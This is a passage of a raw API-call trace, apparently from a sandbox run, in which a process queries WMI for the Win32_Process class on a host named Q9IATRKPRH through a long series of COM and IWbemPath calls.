IWbemClassObject:Get (in: This=0x1bef4e10, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0069.602] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0069.602] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0069.602] IWbemClassObject:Get (in: This=0x1bef4e10, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0069.602] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0069.602] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0069.602] IWbemClassObject:Get (in: This=0x1bef4e10, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0069.602] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0069.603] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0069.603] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0069.603] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0069.603] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0069.603] IUnknown:Release (This=0x111f638) returned 0x1 [0069.604] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11bead0) returned 0x0 [0069.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x11bead0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0069.605] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11bead0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119aee0) returned 0x0 [0069.605] WbemDefPath:IUnknown:Release (This=0x11bead0) returned 0x0 [0069.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119aee0) returned 0x0 [0069.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0069.605] WbemDefPath:IUnknown:AddRef (This=0x119aee0) returned 0x3 [0069.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0069.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0069.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11beb70) returned 0x0 [0069.605] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11beb70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.605] WbemDefPath:IUnknown:Release (This=0x11beb70) returned 0x3 [0069.605] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0069.605] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0069.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0069.605] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x2 [0069.605] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x1 [0069.605] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0069.606] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0069.606] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119aee0) returned 0x0 [0069.606] WbemDefPath:IUnknown:AddRef (This=0x119aee0) returned 0x3 [0069.606] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x2 [0069.606] WbemDefPath:IWbemPath:SetText (This=0x119aee0, uMode=0x4, pszPath="") returned 0x0 [0069.606] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0069.606] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0069.606] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0069.606] IUnknown:Release (This=0x111f638) returned 0x1 [0069.607] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11bead0) returned 0x0 [0069.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x11bead0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0069.608] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11bead0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119ae20) returned 0x0 [0069.608] WbemDefPath:IUnknown:Release (This=0x11bead0) returned 0x0 [0069.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119ae20) returned 0x0 [0069.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0069.608] WbemDefPath:IUnknown:AddRef (This=0x119ae20) returned 0x3 [0069.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0069.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0069.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11bebb0) returned 0x0 [0069.608] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11bebb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.608] WbemDefPath:IUnknown:Release (This=0x11bebb0) returned 0x3 [0069.608] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0069.608] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0069.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0069.608] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x2 [0069.609] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x1 [0069.609] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0069.609] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0069.609] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119ae20) returned 0x0 [0069.609] WbemDefPath:IUnknown:AddRef (This=0x119ae20) returned 0x3 [0069.609] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x2 [0069.609] WbemDefPath:IWbemPath:SetText (This=0x119ae20, uMode=0x4, pszPath="") returned 0x0 [0069.609] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ae20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0069.609] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aee0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0069.609] WbemDefPath:IWbemPath:GetClassName (in: This=0x119ae20, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0069.609] WbemDefPath:IWbemPath:GetServer (in: This=0x119ae20, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0069.609] WbemDefPath:IWbemPath:SetServer (This=0x119ae20, Name="Q9IATRKPRH") returned 0x0 [0069.609] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0069.609] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0069.609] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0069.609] IUnknown:Release (This=0x111f638) returned 0x1 [0069.611] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11bebd0) returned 0x0 [0069.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x11bebd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0069.611] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11bebd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119aca0) returned 0x0 [0069.611] WbemDefPath:IUnknown:Release (This=0x11bebd0) returned 0x0 [0069.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119aca0) returned 0x0 [0069.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0069.611] WbemDefPath:IUnknown:AddRef (This=0x119aca0) returned 0x3 [0069.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0069.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0069.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11beb10) returned 0x0 [0069.612] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11beb10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.612] WbemDefPath:IUnknown:Release (This=0x11beb10) returned 0x3 [0069.612] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0069.612] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0069.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0069.612] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x2 [0069.612] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x1 [0069.612] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0069.612] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0069.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119aca0) returned 0x0 [0069.612] WbemDefPath:IUnknown:AddRef (This=0x119aca0) returned 0x3 [0069.612] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x2 [0069.612] WbemDefPath:IWbemPath:SetText (This=0x119aca0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0069.612] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ae20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0069.612] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aca0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0069.612] WbemDefPath:IWbemPath:GetText (in: This=0x119aca0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0069.612] WbemDefPath:IWbemPath:GetText (in: This=0x119aca0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0069.612] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119ae20) returned 0x0 [0069.612] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aca0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0069.612] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119aca0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0069.612] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119aca0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0069.612] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119ae20, uIndex=0x0, pszName="ROOT") returned 0x0 [0069.612] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119aca0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119aca0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0069.613] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119ae20, uIndex=0x1, pszName="CIMV2") returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetClassName (in: This=0x119ae20, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0069.613] WbemDefPath:IWbemPath:SetClassName (This=0x119ae20, Name="Win32_Process") returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetInfo (in: This=0x119ae20, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ae20, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetText (in: This=0x119ae20, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetText (in: This=0x119ae20, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetInfo (in: This=0x119ae20, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ae20, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetText (in: This=0x119ae20, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetText (in: This=0x119ae20, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetText (in: This=0x119ae20, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0069.613] WbemDefPath:IWbemPath:GetText (in: This=0x119ae20, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0069.613] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0069.613] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0069.613] IUnknown:QueryInterface (in: 